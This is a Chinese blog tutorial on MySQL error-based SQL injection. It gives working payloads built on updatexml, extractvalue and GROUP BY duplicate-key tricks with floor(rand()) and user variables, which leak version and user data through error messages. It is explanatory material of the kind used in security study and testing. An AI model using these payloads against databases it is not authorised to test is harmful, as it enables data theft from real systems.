mysql注入 显错模式 不显 错误_MySQL显错注入

一,updatexml函数

函数简介

xml_target xml文档片段

xpath_expr 匹配修改内容的Xpath表达式

new_xml 新的xml片段

该函数将XML标记xml_target的给定片段的单个部分替换为新的XML片段new_xml,然后返回更改后的XML。被替换的xml_target部分与用户提供的XPath表达式xpath_expr匹配。

说白了,就是用来修改xml文档的内容

报错原理

因为xpath_expr参数必须是遵守Xpath语法的Xpath表达式,当该参数的值不满足Xpath语法时就会触发错误。

例如:

select updatexml(1,(select @@version),1);

19070cf76ce7558863111457581d4f8d.png

可以看到数据库返回了错误信息,其中包含具体的参数值。但是这里的并不是我们想要的完整值。因为值的前一部分满足了Xpath语法,错误信息只返回了不满足语法而触发错误的部分。

因此updatexml函数常常结合concat函数一起使用,在参数值前拼接一个不满足Xpath语法的字符来获取完整数据。

例如:

select updatexml(1,(concat(0x7c,(select @@version))),1);

adb40e44259de720571a3b61ac739d4d.png

二,extractvalue函数

函数简介

xml_frag xml文档片段

xpath_expr 匹配提取目标的Xpath表达式

ExtractValue()接受两个字符串参数,一个XML标记xml_frag片段和一个XPath表达式xpath_expr(也称为定位器);它返回第一个文本节点的文本(CDATA),该文本节点是元素或与XPath表达式匹配的元素的子元素。

根据xpath_expr提供的表达式在xml_frag中匹配对应的节点并返回其元素或子元素。(从xml文档提取数据)

报错原理

与updatexml一样xpath_expr参数的值需要满足Xpath语法。

例如:

select extractvalue(1,concat(0x7c,(select user())));

155036648d5290545e7b9e82f293bc5b.png

三,GROUP BY重复键冲突

原理

floor函数触发错误

select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a;

cdf8f5a23570e078b65cb942e97afc88.png

left函数触发错误

select concat(left(rand(),3),'^',(select version()),'^')a,count(*) from information_schema.tables group by a

注:添加‘^’是为了区分函数产生的随机值和返回的数据

b5ef60dc816d4665933a14981c0fccdc.png

还有类似left或floor也能触发,比如round这里不再列举

不依赖具体的表

select concat('',user(),'',floor(rand()*2))x,count(*) from (select 1 union select null union select !1)a group by x;

143dcc56661943bf051cc2f31682acd6.png

注:此方法有概率不会触发错误,请多次尝试

不使用rand() count()函数

select min(@a:=1) from information_schema.tables group by concat('',user(),'',@a:=(@a+1)%2);

f465cfc40cb3fe4086dad9902c61e69d.png

不依赖额外的函数和具体的表

select min(@a:=1) from (select 1 union select null union select !1)a group by concat('',user(),'',@a:=(@a+1)%2);

e0fa6bf2db202dee48c8912563424558.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值